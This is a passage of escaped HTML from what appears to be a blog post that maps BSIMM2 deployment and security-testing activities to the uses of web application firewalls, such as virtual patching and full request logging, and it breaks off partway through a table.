serif;font-size:15px;"&gt;&lt;table cellspacing="0" cellpadding="0" style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(102, 102, 102); border-right-color: rgb(102, 102, 102); border-bottom-color: rgb(102, 102, 102); border-left-color: rgb(102, 102, 102); width: 754px; margin-top: auto; margin-right: auto; margin-bottom: 25px; margin-left: auto; "&gt;&lt;tbody&gt;&lt;tr style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;th colspan="4" style="background-color: rgb(221, 221, 221); border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); "&gt;DEPLOYMENT: CONFIGURATION MANAGEMENT AND VULNERABILITY MANAGEMENT&lt;br /&gt;Patching and updating applications, version control, defect tracking and remediation, incident handling.&lt;/th&gt;&lt;/tr&gt;&lt;tr style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;th style="background-color: rgb(221, 221, 221); border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); "&gt; &lt;/th&gt;&lt;th style="background-color: rgb(221, 221, 221); border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); "&gt;Objective&lt;/th&gt;&lt;th style="background-color: rgb(221, 221, 221); border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); "&gt;Activity&lt;/th&gt;&lt;th style="background-color: rgb(221, 221, 221); border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); "&gt;Level&lt;/th&gt;&lt;/tr&gt;&lt;tr style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/deployment/cmvm/?s=cmvm1.1#cmvm1.1" style="color: rgb(16, 30, 171); display: block; width: 60px; text-decoration: none; "&gt;CMVM1.1&lt;/a&gt;&lt;/td&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/deployment/cmvm/?s=cmvm1.1#cmvm1.1" style="color: rgb(16, 30, 171); display: block; width: 251px; text-decoration: none; "&gt;know what to do when something bad happens&lt;/a&gt;&lt;/td&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/deployment/cmvm/?s=cmvm1.1#cmvm1.1" style="color: rgb(16, 30, 171); display: block; width: 380px; text-decoration: none; "&gt;create/interface with incident response&lt;/a&gt;&lt;/td&gt;&lt;td rowspan="2" valign="top" style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/deployment/cmvm/?l=1#1" style="color: rgb(16, 30, 171); display: block; width: 31px; text-decoration: none; "&gt;1&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/deployment/cmvm/?s=cmvm1.2#cmvm1.2" style="color: rgb(16, 30, 171); display: block; width: 60px; text-decoration: none; "&gt;CMVM1.2&lt;/a&gt;&lt;/td&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/deployment/cmvm/?s=cmvm1.2#cmvm1.2" style="color: rgb(16, 30, 171); display: block; width: 251px; text-decoration: none; "&gt;use ops data to change dev behavior&lt;/a&gt;&lt;/td&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/deployment/cmvm/?s=cmvm1.2#cmvm1.2" style="color: rgb(16, 30, 171); display: block; width: 380px; text-decoration: none; "&gt;identify software bugs found in ops monitoring and feed back to dev&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/deployment/cmvm/?s=cmvm2.1#cmvm2.1" style="color: rgb(16, 30, 171); display: block; width: 60px; text-decoration: none; "&gt;CMVM2.1&lt;/a&gt;&lt;/td&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/deployment/cmvm/?s=cmvm2.1#cmvm2.1" style="color: rgb(16, 30, 171); display: block; width: 251px; text-decoration: none; "&gt;be able to fix apps when they are under direct attack&lt;/a&gt;&lt;/td&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/deployment/cmvm/?s=cmvm2.1#cmvm2.1" style="color: rgb(16, 30, 171); display: block; width: 380px; text-decoration: none; "&gt;have emergency codebase response&lt;/a&gt;&lt;/td&gt;&lt;td rowspan="3" valign="top" style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/deployment/cmvm/?l=2#2" style="color: rgb(16, 30, 171); display: block; width: 31px; text-decoration: none; "&gt;2&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/deployment/cmvm/?s=cmvm2.2#cmvm2.2" style="color: rgb(16, 30, 171); display: block; width: 60px; text-decoration: none; "&gt;CMVM2.2&lt;/a&gt;&lt;/td&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/deployment/cmvm/?s=cmvm2.2#cmvm2.2" style="color: rgb(16, 30, 171); display: block; width: 251px; text-decoration: none; "&gt;use ops data to change dev behavior&lt;/a&gt;&lt;/td&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/deployment/cmvm/?s=cmvm2.2#cmvm2.2" style="color: rgb(16, 30, 171); display: block; width: 380px; text-decoration: none; "&gt;track software bugs found during ops through the fix process&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/deployment/cmvm/?s=cmvm2.3#cmvm2.3" style="color: rgb(16, 30, 171); display: block; width: 60px; text-decoration: none; "&gt;CMVM2.3&lt;/a&gt;&lt;/td&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/deployment/cmvm/?s=cmvm2.3#cmvm2.3" style="color: rgb(16, 30, 171); display: block; width: 251px; text-decoration: none; "&gt;know where the code is&lt;/a&gt;&lt;/td&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/deployment/cmvm/?s=cmvm2.3#cmvm2.3" style="color: rgb(16, 30, 171); display: block; width: 380px; text-decoration: none; "&gt;develop operations inventory of apps&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/deployment/cmvm/?s=cmvm3.1#cmvm3.1" style="color: rgb(16, 30, 171); display: block; width: 60px; text-decoration: none; "&gt;CMVM3.1&lt;/a&gt;&lt;/td&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/deployment/cmvm/?s=cmvm3.1#cmvm3.1" style="color: rgb(16, 30, 171); display: block; width: 251px; text-decoration: none; "&gt;learn from operational experience&lt;/a&gt;&lt;/td&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/deployment/cmvm/?s=cmvm3.1#cmvm3.1" style="color: rgb(16, 30, 171); display: block; width: 380px; text-decoration: none; "&gt;fix all occurrences of software bugs from ops in the codebase (T: code review)&lt;/a&gt;&lt;/td&gt;&lt;td rowspan="2" valign="top" style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/deployment/cmvm/?l=3#3" style="color: rgb(16, 30, 171); display: block; width: 31px; text-decoration: none; "&gt;3&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/deployment/cmvm/?s=cmvm3.2#cmvm3.2" style="color: rgb(16, 30, 171); display: block; width: 60px; text-decoration: none; "&gt;CMVM3.2&lt;/a&gt;&lt;/td&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/deployment/cmvm/?s=cmvm3.2#cmvm3.2" style="color: rgb(16, 30, 171); display: block; width: 251px; text-decoration: none; "&gt;use ops data to change dev behavior&lt;/a&gt;&lt;/td&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/deployment/cmvm/?s=cmvm3.2#cmvm3.2" style="color: rgb(16, 30, 171); display: block; width: 380px; text-decoration: none; "&gt;enhance dev processes (SSDL) to prevent cause of software bugs found in ops&lt;/a&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;This section highlights a number of critical deployment components where WAFs help an organization.&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;CMVM2.1 - Be able to fix apps when they are under direct attack&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div&gt;Being able to implement a quick response to mitigate a live attack is critical.  Even if an organization has direct access to source code and developers, the process of getting fixes into production still takes a fair amount of time.  WAFs can be used to quickly implement new policy settings to protect against these attacks until the source code fixes are live.  Most people think of virtual patching here but this capability also extends to other types of attacks such as denial of service and brute force attacks.&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;CMVM1.2 - Use ops data to change dev behavior&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div&gt;Being able to capture the full request/response payloads when either attacks or application errors are identified is vitally important.  The fact is that most web server and application logging is terrible and only logs a small subset of the actual data.  Most logs do not log full inbound request headers and body payloads and almost none log the outbound data.  This data is critical, not only for incident response to identify what data was leaked, but also for remediation efforts.  I mean c'mon, how can we really expect web application developers to properly correct application defects when all you give them is a web server 1-line log entry in Common Log Format?  That just is not enough data for them to recreate and test the payloads to correct the issue.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;SSDL Touchpoints: Security Testing&lt;/b&gt;&lt;/div&gt;&lt;div&gt;The &lt;a href="http://bsimm2.com/online/ssdl/st/"&gt;Security Testing&lt;/a&gt; section of BSIMM2 outlines the following:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"   style="  line-height: 20px; font-family:Cambria, 'Hoefler Text', Utopia, 'Liberation Serif', 'Nimbus Roman No9 L Regular', Times, 'Times New Roman', serif;font-size:15px;"&gt;&lt;table cellspacing="0" cellpadding="0" style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(102, 102, 102); border-right-color: rgb(102, 102, 102); border-bottom-color: rgb(102, 102, 102); border-left-color: rgb(102, 102, 102); width: 754px; margin-top: auto; margin-right: auto; margin-bottom: 25px; margin-left: auto; "&gt;&lt;tbody&gt;&lt;tr style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;th colspan="4" style="background-color: rgb(221, 221, 221); border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); "&gt;SSDL TOUCHPOINTS: SECURITY TESTING&lt;br /&gt;Use of black box security tools in QA, risk driven white box testing, application of the attack model, code coverage analysis.&lt;/th&gt;&lt;/tr&gt;&lt;tr style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;th style="background-color: rgb(221, 221, 221); border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); "&gt; &lt;/th&gt;&lt;th style="background-color: rgb(221, 221, 221); border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); "&gt;Objective&lt;/th&gt;&lt;th style="background-color: rgb(221, 221, 221); border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); "&gt;Activity&lt;/th&gt;&lt;th style="background-color: rgb(221, 221, 221); border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); "&gt;Level&lt;/th&gt;&lt;/tr&gt;&lt;tr style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/ssdl/st/?s=st1.1#st1.1" style="color: rgb(16, 30, 171); display: block; width: 35px; text-decoration: none; "&gt;ST1.1&lt;/a&gt;&lt;/td&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/ssdl/st/?s=st1.1#st1.1" style="color: rgb(16, 30, 171); display: block; width: 268px; text-decoration: none; "&gt;execute adversarial tests beyond functional&lt;/a&gt;&lt;/td&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/ssdl/st/?s=st1.1#st1.1" style="color: rgb(16, 30, 171); display: block; width: 388px; text-decoration: none; "&gt;ensure QA supports edge/boundary value condition testing&lt;/a&gt;&lt;/td&gt;&lt;td rowspan="2" valign="top" style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/ssdl/st/?l=1#1" style="color: rgb(16, 30, 171); display: block; width: 31px; text-decoration: none; "&gt;1&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/ssdl/st/?s=st1.2#st1.2" style="color: rgb(16, 30, 171); display: block; width: 35px; text-decoration: none; "&gt;ST1.2&lt;/a&gt;&lt;/td&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a 